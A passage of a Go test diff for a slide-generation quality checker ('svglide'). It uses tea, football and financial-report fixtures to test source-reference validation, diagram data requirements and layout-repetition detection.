+	      {"label": "红茶", "role": "comparison", "explanation": "较高氧化带来甜香和红汤。", "source_ref": "tea-source"},
+	      {"label": "黑茶", "role": "comparison", "explanation": "后发酵带来陈化和醇厚感。", "source_ref": "tea-source"}
+	    ],
+	    "source_refs": ["tea-source"],
+	    "visuals": [{"id": "tea_taxonomy", "type": "diagram", "instruction": "Six tea classes", "visual_form": "parameter_matrix"}],
+	    "so_what": "这页应把分类从名词列表变成可理解的风味地图。"
+	  }]
+	}`)
+
+	report, err := EvaluateContentPayloadRun("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "passed" {
+		t.Fatalf("status = %q, want passed: %+v", report.Status, report.Issues)
+	}
+	if report.Metrics.SparseLabelListCount != 0 {
+		t.Fatalf("sparse count = %d, want 0", report.Metrics.SparseLabelListCount)
+	}
+}
+
+func TestContentPayloadRejectsUnknownSourceRefs(t *testing.T) {
+	initContentPayloadTestRun(t, structuredContentPayloadSlideJSON("missing-source"))
+
+	report, err := EvaluateContentPayloadRun("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed", report.Status)
+	}
+	if !contentPayloadIssueCodesContain(report.Issues, "svglide.content_payload.unknown_source_ref") {
+		t.Fatalf("issues = %+v, want unknown_source_ref", report.Issues)
+	}
+}
+
+func TestContentPayloadRequiresVisualDataForDiagram(t *testing.T) {
+	initContentPayloadTestRun(t, `{
+	  "prompt_contract": `+promptContractJSON(StageSlideContent)+`,
+	  "slides": [{
+	    "id": "03-process",
+	    "content": "采摘\n萎凋\n揉捻\n氧化\n干燥",
+	    "central_claim": "茶的风味是在连续加工步骤里逐渐形成的。",
+	    "audience_takeaway": "观众需要看到每一步如何改变茶叶状态，而不是只看到步骤名称。",
+	    "supporting_points": [
+	      {"text": "萎凋会改变叶片含水状态，为后续揉捻做准备。", "source_refs": ["tea-source"]},
+	      {"text": "氧化程度会影响汤色、香气和滋味表达。", "source_refs": ["tea-source"]}
+	    ],
+	    "source_bound_facts": [
+	      {"fact": "加工步骤会影响茶叶最终品质。", "source_ref": "tea-source", "usage": "evidence"}
+	    ],
+	    "visual_data_items": [],
+	    "source_refs": ["tea-source"],
+	    "visuals": [{"id": "craft_flow", "type": "diagram", "instruction": "Tea craft process", "visual_form": "process_flow"}],
+	    "so_what": "这页应解释工艺如何塑造风味，而不是画空流程线。"
+	  }]
+	}`)
+
+	report, err := EvaluateContentPayloadRun("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed", report.Status)
+	}
+	if !contentPayloadIssueCodesContain(report.Issues, "svglide.content_payload.visual_form_missing_data") {
+		t.Fatalf("issues = %+v, want visual_form_missing_data", report.Issues)
+	}
+}
+
+func initContentPayloadTestRun(t *testing.T, slideContent string) {
+	t.Helper()
+	initStatusTestRun(t)
+	mustWriteTestFile(t, "demo/research/sources.json", `{"sources":[{"id":"tea-source","path":"https://example.com/tea","title":"Tea source","excerpt":"Tea classification and process facts","usage":"support","retrieval":"full_page"}]}`)
+	mustWriteTestFile(t, "demo/outline/deck.json", `{"title":"品中国茶","slides":[{"id":"02-tea-types","title":"六大茶类","role":"content","summary":"分类","key_message":"分类来自工艺","path":"slides/02.svg"},{"id":"03-process","title":"工艺路径","role":"content","summary":"工艺","key_message":"工艺塑造风味","path":"slides/03.svg"}]}`)
+	mustWriteTestFile(t, "demo/content/slide_content.json", slideContent)
+}
+
+func structuredContentPayloadSlideJSON(sourceRef string) string {
+	return `{
+	  "prompt_contract": ` + promptContractJSON(StageSlideContent) + `,
+	  "slides": [{
+	    "id": "02-tea-types",
+	    "content": "白茶\n绿茶\n黄茶",
+	    "central_claim": "六大茶类的核心差异来自氧化程度和工艺路径。",
+	    "audience_takeaway": "理解分类逻辑后，观众能把茶名、工艺和风味联系起来。",
+	    "supporting_points": [
+	      {"text": "绿茶通过杀青固定鲜爽风味，因此呈现低氧化特征。", "source_refs": ["` + sourceRef + `"]},
+	      {"text": "乌龙茶处在半氧化区间，香气和焙火层次更复杂。", "source_refs": ["tea-source"]}
+	    ],
+	    "source_bound_facts": [
+	      {"fact": "茶类划分和加工方式直接相关。", "source_ref": "tea-source", "usage": "evidence"}
+	    ],
+	    "visual_data_items": [
+	      {"label": "白茶", "role": "comparison", "explanation": "轻加工，适合放在低干预端。", "source_ref": "tea-source"},
+	      {"label": "绿茶", "role": "comparison", "explanation": "杀青保持鲜爽，氧化程度低。", "source_ref": "tea-source"},
+	      {"label": "黄茶", "role": "comparison", "explanation": "闷黄形成不同汤色和口感。", "source_ref": "tea-source"}
+	    ],
+	    "source_refs": ["tea-source"],
+	    "visuals": [{"id": "tea_taxonomy", "type": "diagram", "instruction": "Six tea classes", "visual_form": "parameter_matrix"}],
+	    "so_what": "这页应把分类从名词列表变成可理解的风味地图。"
+	  }]
+	}`
+}
+
+func contentPayloadIssueCodesContain(issues []ContentPayloadIssue, want string) bool {
+	for _, issue := range issues {
+		if issue.Code == want {
+			return true
+		}
+	}
+	return false
+}

internal/svglide/creative_quality_test.go

@@ -0,0 +1,393 @@
+package svglide
+
+import (
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestCheckCreativeQualityRejectsMissingVisualReceipts(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "quiet_synthesis", "single_claim_poster", creativeQualityGoodSVG())
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("Status = %q, want failed; report=%+v", report.Status, report)
+	}
+	if !creativeIssueCodesContain(report.Issues, "svglide.creative.missing_visual_receipts") {
+		t.Fatalf("Issues = %+v, want missing_visual_receipts", report.Issues)
+	}
+}
+
+func TestCheckCreativeQualityWarnModeDowngradesHardFailures(t *testing.T) {
+	initStatusTestRun(t)
+	setRunVisualQualityModeForTest(t, VisualQualityModeWarn)
+	mustWriteCreativeQualityBaseDeck(t, "quiet_synthesis", "single_claim_poster", creativeQualityGoodSVG())
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "passed" {
+		t.Fatalf("Status = %q, want passed in warn mode; report=%+v", report.Status, report)
+	}
+	if len(report.Issues) == 0 || report.Issues[0].Severity != "warning" {
+		t.Fatalf("Issues = %+v, want warning issues", report.Issues)
+	}
+}
+
+func TestCheckCreativeQualityRejectsProcessLeakAndWeakTextBoxStack(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "quiet_synthesis", "card_stack", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">`+fontTokenStyleForTest()+`<rect width="960" height="540"/><rect rx="12" x="40" y="40" width="220" height="100"/><rect rx="12" x="300" y="40" width="220" height="100"/><rect rx="12" x="560" y="40" width="220" height="100"/><text x="48" y="90">接缝取色说明</text></svg>`)
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"hook","layout_family":"quiet_synthesis","layout_archetype":"poster_stat_lockup","layout_signature":"card_stack","thumbnail_job":"cards","visual_center":"","topic_fit_claim":"","information_density_plan":"same","page_difference_from_previous":"same","primary_asset":"","asset_role":"none","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"stacked cards","data_visual_rationale":"","source_evidence":["web1"],"fusion_spec":{"enabled":false},"qa_expectations":["no process text"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("Status = %q, want failed; report=%+v", report.Status, report)
+	}
+	for _, code := range []string{"svglide.creative.process_leak", "svglide.creative.weak_slide"} {
+		if !creativeIssueCodesContain(report.Issues, code) {
+			t.Fatalf("Issues = %+v, want %s", report.Issues, code)
+		}
+	}
+}
+
+func TestCheckCreativeQualityRejectsDataVisualWithoutNumericEvidence(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "data_scoreboard", "scoreboard", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">`+fontTokenStyleForTest()+`<rect width="960" height="540"/><g class="chart"><rect x="48" y="200" width="100" height="200"/></g><text x="48" y="80">Scoreboard</text></svg>`)
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"proof","layout_family":"data_scoreboard","layout_archetype":"data_scoreboard","layout_signature":"scoreboard","thumbnail_job":"score","visual_center":"score panel","topic_fit_claim":"shows data claim","information_density_plan":"one metric and one explanation","page_difference_from_previous":"first data page","primary_asset":"","asset_role":"data proof","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"data scoreboard","data_visual_rationale":"compare result shape","source_evidence":["match report"],"fusion_spec":{"enabled":false},"qa_expectations":["numeric evidence required"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" || !creativeIssueCodesContain(report.Issues, "svglide.creative.chart_without_evidence") {
+		t.Fatalf("report = %+v, want chart_without_evidence failure", report)
+	}
+}
+
+func TestCheckCreativeQualityRejectsPseudoTacticalDiagram(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "evidence_board", "pitch_lane_diagram", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">`+fontTokenStyleForTest()+`<rect width="960" height="540" fill="#f6f8fa"/><rect x="90" y="160" width="560" height="300" fill="#0B3D2E"/><path d="M120 230 C260 180,420 280,600 220" fill="none" stroke="#E8C15A" stroke-width="5"/><path d="M120 320 C260 270,420 370,600 310" fill="none" stroke="#E8C15A" stroke-width="5"/><text x="690" y="230">边路推进</text><text x="690" y="320">禁区终点</text></svg>`)
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"tactical_explanation","layout_family":"evidence_board","layout_archetype":"annotated_image","layout_signature":"pitch_diagram_with_forward_lanes","thumbnail_job":"terminal chain","visual_center":"pitch diagram showing lanes ending at the striker zone","topic_fit_claim":"explains a tactical system","information_density_plan":"one tactical map and lane labels","page_difference_from_previous":"different abstract tactical page","primary_asset":"tactical pitch diagram","asset_role":"system explanation graphic","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"pitch-map annotation using lines and coordinates","data_visual_rationale":"uses scoring facts to justify the diagram","source_evidence":["src_group_i includes match sequence","src_bio gives 62 goals in 54 appearances"],"container_fit_plan":"labels outside lanes","container_decision":"no cards","text_carrier":"axis_annotation","typography_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"shape_language":"pitch_lane_diagram","card_budget":{"card_count":0,"why_cards_are_needed":"none"},"chart_receipt":{"chart_id":"","renderer":"none","unit":"","source":"","why_chart_is_needed":""},"fusion_spec":{"enabled":false},"qa_expectations":["tactical claim must remain tied to source-backed scoring evidence"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" || report.Metrics.PseudoAnalysisDiagramCount != 1 || !creativeIssueCodesContain(report.Issues, "svglide.creative.pseudo_analysis_diagram") {
+		t.Fatalf("report = %+v, want pseudo_analysis_diagram failure", report)
+	}
+}
+
+func TestCheckCreativeQualityAllowsSourceBoundTacticalDiagram(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "evidence_board", "pitch_lane_diagram", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">`+fontTokenStyleForTest()+`<rect width="960" height="540" fill="#f6f8fa"/><rect x="90" y="160" width="560" height="300" fill="#0B3D2E"/><path d="M120 230 C260 180,420 280,600 220" fill="none" stroke="#E8C15A" stroke-width="5"/><text x="690" y="230">79' right-channel pass</text></svg>`)
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"tactical_explanation","layout_family":"evidence_board","layout_archetype":"annotated_image","layout_signature":"pitch_diagram_with_forward_lanes","thumbnail_job":"terminal chain","visual_center":"pitch diagram showing source-bound right-channel sequence","topic_fit_claim":"explains a tactical system","information_density_plan":"one tactical map and lane labels","page_difference_from_previous":"different abstract tactical page","primary_asset":"tactical pitch diagram","asset_role":"system explanation graphic","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"pitch-map annotation using lines and coordinates","data_visual_rationale":"79' sequence explains the right-channel lane","source_evidence":["src_match: 79 minute right channel pass sequence into the penalty area"],"container_fit_plan":"labels outside lanes","container_decision":"no cards","text_carrier":"axis_annotation","typography_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"shape_language":"pitch_lane_diagram","card_budget":{"card_count":0,"why_cards_are_needed":"none"},"chart_receipt":{"chart_id":"","renderer":"none","unit":"","source":"","why_chart_is_needed":""},"fusion_spec":{"enabled":false},"qa_expectations":["tactical geometry must bind to match source"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if creativeIssueCodesContain(report.Issues, "svglide.creative.pseudo_analysis_diagram") {
+		t.Fatalf("report = %+v, did not want pseudo_analysis_diagram failure", report)
+	}
+}
+
+func TestCheckCreativeQualityIgnoresNegativeDiagramGuardrail(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "quiet_synthesis", "open_warning_ledger_no_diagram", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">`+fontTokenStyleForTest()+`<rect width="960" height="540" fill="#07111F"/><text x="72" y="120">Risk statement</text><text x="72" y="180">No fake tactical diagram is used here.</text></svg>`)
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"risk","layout_family":"quiet_synthesis","layout_archetype":"statement_ledger","layout_signature":"open_warning_ledger_no_diagram","thumbnail_job":"risk statement","visual_center":"open editorial statement without diagram","topic_fit_claim":"does not draw fake tactical geometry","information_density_plan":"one sourced risk claim and no fake map","page_difference_from_previous":"different open statement page","primary_asset":"","asset_role":"none","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"not a diagram; text-led synthesis","data_visual_rationale":"","source_evidence":["src_group_i: France 4-1 Norway scoreline"],"container_fit_plan":"open text","container_decision":"no cards","text_carrier":"open_grid","typography_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"shape_language":"open_warning_ledger_no_diagram","card_budget":{"card_count":0,"why_cards_are_needed":"none"},"chart_receipt":{"chart_id":"","renderer":"none","unit":"","source":"","why_chart_is_needed":""},"fusion_spec":{"enabled":false},"qa_expectations":["no fake tactical diagram"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if creativeIssueCodesContain(report.Issues, "svglide.creative.pseudo_analysis_diagram") {
+		t.Fatalf("report = %+v, did not want pseudo_analysis_diagram failure", report)
+	}
+}
+
+func TestCreativeQualityDetectsDefaultCardTextContainer(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "quiet_synthesis", "editorial_text", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">`+fontTokenStyleForTest()+`<rect width="960" height="540" fill="#f7f6f1"/><rect x="64" y="70" width="360" height="320" rx="24" fill="#101319"/><text x="96" y="140" fill="#fff">Athlete story</text><text x="96" y="202" fill="#fff">Every major claim is simply placed inside a rounded card.</text></svg>`)
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"hook","layout_family":"quiet_synthesis","layout_archetype":"single_claim_poster","layout_signature":"editorial_text","thumbnail_job":"text card","visual_center":"main text block","topic_fit_claim":"introduces the sports topic","information_density_plan":"one main claim and supporting explanation","page_difference_from_previous":"opening page with a text-led composition","primary_asset":"","asset_role":"none","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"plain text card for a simple claim","data_visual_rationale":"","source_evidence":["official athlete bio"],"fusion_spec":{"enabled":false},"qa_expectations":["use open editorial text when no panel is needed"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" || report.Metrics.DefaultCardTextContainerCount != 1 || !creativeIssueCodesContain(report.Issues, "svglide.creative.default_card_text_container") {
+		t.Fatalf("report = %+v, want default_card_text_container failure", report)
+	}
+}
+
+func TestCreativeQualityDetectsTopicTypographyMismatch(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "character_product_focus", "sports_profile", creativeQualityGoodSVG())
+	if err := os.WriteFile(filepath.Join("demo", "brief", "typography_contract.json"), []byte(`{"prompt_contract":`+promptContractJSON(StageDesignBrief)+`,"profile":"sports_editorial","font_source":"slide_font_theme_presets","selected_moods":["culture_heritage"],"roles":{"display":{"family":"ChillJinshuSongMedium","weight":"700","size":"42","usage":"cover title"},"body":{"family":"Noto Serif SC","weight":"400","size":"18","usage":"body copy"},"number":{"family":"Noto Sans SC","weight":"700","size":"34","usage":"scores"},"label":{"family":"ChillDuanHeiSong_CompactRegular","weight":"600","size":"13","usage":"labels"}},"rules":["sports deck typography should carry athletic score identity"]}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"hook","layout_family":"character_product_focus","layout_archetype":"annotated_image","layout_signature":"sports_profile","thumbnail_job":"sports profile","visual_center":"athlete profile and opening claim","topic_fit_claim":"matches the sports profile topic","information_density_plan":"one claim plus athlete context","page_difference_from_previous":"opening page","primary_asset":"assets/images/athlete.png","asset_role":"sports topic anchor","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"sports editorial profile","data_visual_rationale":"","source_evidence":["league profile"],"fusion_spec":{"enabled":false},"qa_expectations":["typography carries sports identity"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" || report.Metrics.TopicTypographyMismatchCount != 1 || !creativeIssueCodesContain(report.Issues, "svglide.typography.identity.profile_mismatch") {
+		t.Fatalf("report = %+v, want typography profile mismatch failure", report)
+	}
+}
+
+func TestCheckCreativeQualityAppliesThemeLayoutRhythm(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteTestFile(t, "demo/request/theme_contract.json", chineseTeaThemeContractJSONForTest())
+	mustWriteCreativeQualityBaseDeck(t, "quiet_synthesis", "single_claim_poster", creativeQualityGoodSVG())
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"hook","layout_family":"quiet_synthesis","layout_archetype":"single_claim_poster","layout_signature":"single_claim_poster","thumbnail_job":"opening","visual_center":"opening claim","topic_fit_claim":"introduces the tea topic","information_density_plan":"one opening claim","page_difference_from_previous":"opening page","primary_asset":"","asset_role":"none","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"opening editorial poster","data_visual_rationale":"","source_evidence":["source"],"text_carrier":"open_grid","shape_language":"open editorial text","card_budget":{"card_count":0,"why_cards_are_needed":"none"},"chart_receipt":{"renderer":"none"},"fusion_spec":{"enabled":false},"qa_expectations":["theme rhythm applies"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed for theme rhythm", report.Status)
+	}
+	for _, want := range []string{"svglide.creative.theme_min_slide_count", "svglide.creative.theme_required_page_role"} {
+		if !creativeIssueCodesContain(report.Issues, want) {
+			t.Fatalf("issues = %+v, want %s", report.Issues, want)
+		}
+	}
+}
+
+func TestCheckCreativeQualityRejectsRepeatedLayoutArchetype(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteRepeatedArchetypeDeck(t)
+	mustWriteRepeatedArchetypeReceipts(t)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("Status = %q, want failed; report=%+v", report.Status, report)
+	}
+	for _, code := range []string{
+		"svglide.creative.layout_archetype_overuse",
+		"svglide.creative.adjacent_layout_archetype",
+		"svglide.creative.left_right_chart_overuse",
+	} {
+		if !creativeIssueCodesContain(report.Issues, code) {
+			t.Fatalf("Issues = %+v, want %s", report.Issues, code)
+		}
+	}
+}
+
+func TestCheckCreativeQualityRejectsRepeatedRenderedVisualSkeleton(t *testing.T) {
+	initStatusTestRun(t)
+	deck := authorDeck{Title: "Repeated Skeleton Deck"}
+	receipts := visualReceiptsFile{}
+	for i := 1; i <= 6; i++ {
+		id := fmt.Sprintf("s%d", i)
+		path := fmt.Sprintf("slides/%02d.svg", i)
+		deck.Slides = append(deck.Slides, authorDeckSlide{
+			ID:              id,
+			Title:           fmt.Sprintf("Page %d", i),
+			Summary:         "Summary",
+			Role:            "content",
+			KeyMessage:      "Key message",
+			LayoutFamily:    "quiet_synthesis",
+			LayoutArchetype: "poster_stat_lockup",
+			LayoutSignature: fmt.Sprintf("unique_layout_%02d", i),
+			StoryFunction:   "proof",
+			Path:            path,
+		})
+		mustWriteTestFile(t, filepath.Join("demo", path), repeatedGenericNodeLineSVGForTest())
+		receipts.Slides = append(receipts.Slides, repeatedArchetypeReceipt(id, "quiet_synthesis", "poster_stat_lockup", fmt.Sprintf("unique_layout_%02d", i), "unique metadata but same rendered skeleton", "source evidence 2026"))
+	}
+	rawDeck, err := json.Marshal(deck)
+	if err != nil {
+		t.Fatal(err)
+	}
+	rawReceipts, err := json.Marshal(receipts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	mustWriteTestFile(t, "demo/outline/deck.json", string(rawDeck))
+	mustWriteTestFile(t, "demo/visual_receipts.json", string(rawReceipts))
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" || report.Metrics.VisualSkeletonMaxRatioBP != 10000 || !creativeIssueCodesContain(report.Issues, "svglide.creative.visual_skeleton_repetition") {
+		t.Fatalf("report = %+v, want visual_skeleton_repetition failure", report)
+	}
+}
+
+func TestCheckCreativeQualityRejectsVisualIntentMismatch(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteCreativeQualityBaseDeck(t, "quiet_synthesis", "sensory_wheel_page", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">`+fontTokenStyleForTest()+`<rect width="960" height="540" fill="#f6f8fa"/><g data-svglide-visual-form="spectrum"><rect x="80" y="220" width="80" height="80"/><rect x="180" y="220" width="80" height="80"/><rect x="280" y="220" width="80" height="80"/><rect x="380" y="220" width="80" height="80"/></g><text x="80" y="120">Taste</text></svg>`)
+	mustWriteTestFile(t, "demo/content/slide_content.json", `{"slides":[{"id":"s1","content":"Taste wheel","source_refs":["source"],"visuals":[{"id":"taste","type":"diagram","visual_form":"sensory_wheel","instruction":"Render a sensory wheel"}]}]}`)
+	mustWriteTestFile(t, "demo/visual_receipts.json", `{"slides":[{"slide_id":"s1","story_job":"proof","layout_family":"quiet_synthesis","layout_archetype":"poster_stat_lockup","layout_signature":"sensory_wheel_page","thumbnail_job":"taste wheel","visual_center":"taste wheel","topic_fit_claim":"explains sensory dimensions","information_density_plan":"one sensory diagram","page_difference_from_previous":"opening page","primary_asset":"","asset_role":"none","font_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"composition_intent":"sensory wheel diagram","data_visual_rationale":"","source_evidence":["source evidence 2026"],"container_fit_plan":"open diagram labels","container_decision":"no cards","text_carrier":"line_annotation","typography_role_usage":{"display":"Noto Serif SC","body":"Noto Sans SC","number":"Roboto Mono","label":"Noto Sans SC"},"shape_language":"diagram_sensory_wheel","card_budget":{"card_count":0,"why_cards_are_needed":"none"},"chart_receipt":{"renderer":"none"},"fusion_spec":{"enabled":false},"qa_expectations":["visual form must match"]}]}`)
+
+	report, err := CheckCreativeQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" || report.Metrics.VisualIntentMismatchCount != 1 || !creativeIssueCodesContain(report.Issues, "svglide.creative.visual_intent_mismatch") {
+		t.Fatalf("report = %+v, want visual_intent_mismatch failure", report)
+	}
+}
+
+func TestCreativeQualityVisualFixtures(t *testing.T) {
+	t.Chdir(filepath.Join("..", ".."))
+	base := filepath.Join("testdata", "svglide", "visual_quality")
+	weak, err := CheckCreativeQuality(filepath.Join(base, "germany_2026_weak_visual_run"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if weak.Status != "failed" || !creativeIssueCodesContain(weak.Issues, "svglide.creative.weak_slide") || !creativeIssueCodesContain(weak.Issues, "svglide.creative.process_leak") {
+		t.Fatalf("weak fixture report = %+v, want weak/process failure", weak)
+	}
+	good, err := CheckCreativeQuality(filepath.Join(base, "fusion_split_good_run"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if good.Status != "passed" {
+		t.Fatalf("fusion fixture report = %+v, want passed", good)
+	}
+}
+
+func mustWriteCreativeQualityBaseDeck(t *testing.T, family, signature, svg string) {
+	t.Helper()
+	mustWriteTestFile(t, "demo/outline/deck.json", `{"title":"Creative Deck","slides":[{"id":"s1","title":"Opening","summary":"Opening summary","role":"cover","key_message":"Opening key","layout_family":"`+family+`","layout_archetype":"`+inferAuthorLayoutArchetype(family, signature)+`","layout_signature":"`+signature+`","story_function":"hook","primary_asset_role":"topic anchor","fusion_candidate":false,"path":"slides/01.svg"}]}`)
+	mustWriteTestFile(t, "demo/slides/01.svg", svg)
+}
+
+func mustWriteRepeatedArchetypeDeck(t *testing.T) {
+	t.Helper()
+	deck := authorDeck{Title: "Financial Deck"}
+	deck.Slides = append(deck.Slides,
+		authorDeckSlide{ID: "s1", Title: "Cover", Summary: "Cover", Role: "cover", KeyMessage: "Cover", LayoutFamily: "full_bleed_hero", LayoutArchetype: "full_bleed_photo_title", LayoutSignature: "chip_cover", StoryFunction: "hook", PrimaryAssetRole: "hero image", Path: "slides/01.svg"},
+	)
+	for i, title := range []string{"Executive summary", "Income", "Segment", "Margin", "Cash flow"} {
+		page := i + 2
+		deck.Slides = append(deck.Slides, authorDeckSlide{
+			ID:               fmt.Sprintf("s%d", page),
+			Title:            title,
+			Summary:          title,
+			Role:             "content",
+			KeyMessage:       title,
+			LayoutFamily:     "data_scoreboard",
+			LayoutArchetype:  "image_argument_split",
+			LayoutSignature:  fmt.Sprintf("left_text_right_chart_%d", page),
+			StoryFunction:    "proof",
+			PrimaryAssetRole: "chart",
+			Path:             fmt.Sprintf("slides/%02d.svg", page),
+		})
+	}
+	deck.Slides = append(deck.Slides,
+		authorDeckSlide{ID: "s7", Title: "Close", Summary: "Close", Role: "close", KeyMessage: "Close", LayoutFamily: "quiet_synthesis", LayoutArchetype: "closing_poster", LayoutSignature: "closing_poster", StoryFunction: "synthesis", PrimaryAssetRole: "closing", Path: "slides/07.svg"},
+	)
+	raw, err := json.Marshal(deck)
+	if err != nil {
+		t.Fatal(err)
+	}
+	mustWriteTestFile(t, "demo/outline/deck.json", string(raw))
+	for i := 1; i <= 7; i++ {
+		body := `<rect width="960" height="540"/><text x="48" y="80">NVIDIA financial report</text>`
+		if i >= 2 && i <= 6 {
+			body += `<g class="chart"><rect x="600" y="160" width="220" height="160"/></g>`
+		}
+		mustWriteTestFile(t, fmt.Sprintf("demo/slides/%02d.svg", i), `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">`+fontTokenStyleForTest()+body+`</svg>`)
+	}
+}
+
+func mustWriteRepeatedArchetypeReceipts(t *testing.T) {
+	t.Helper()
+	receipts := visualReceiptsFile{}
+	receipts.Slides = append(receipts.Slides, repeatedArchetypeReceipt("s1", "full_bleed_hero", "full_bleed_photo_title", "chip_cover", "cover", "NVIDIA image"))
+	for i, label := range []string{"revenue $22.1B", "net income $12.3B", "data center $18.4B", "gross margin 76.0%", "free cash flow $11.2B"} {
+		page := i + 2
+		receipt := repeatedArchetypeReceipt(
+			fmt.Sprintf("s%d", page),
+			"data_scoreboard",
+			"image_argument_split",
+			fmt.Sprintf("left_text_right_chart_%d", page),
+			"left text right chart",
+			label,
+		)
+		receipt.DataVisualRationale = label
+		receipts.Slides = append(receipts.Slides, receipt)
+	}
+	receipts.Slides = append(receipts.Slides, repeatedArchetypeReceipt("s7", "quiet_synthesis", "closing_poster", "closing_poster", "closing", "NVIDIA report"))
+	raw, err := json.Marshal(receipts)
+	if err != nil {
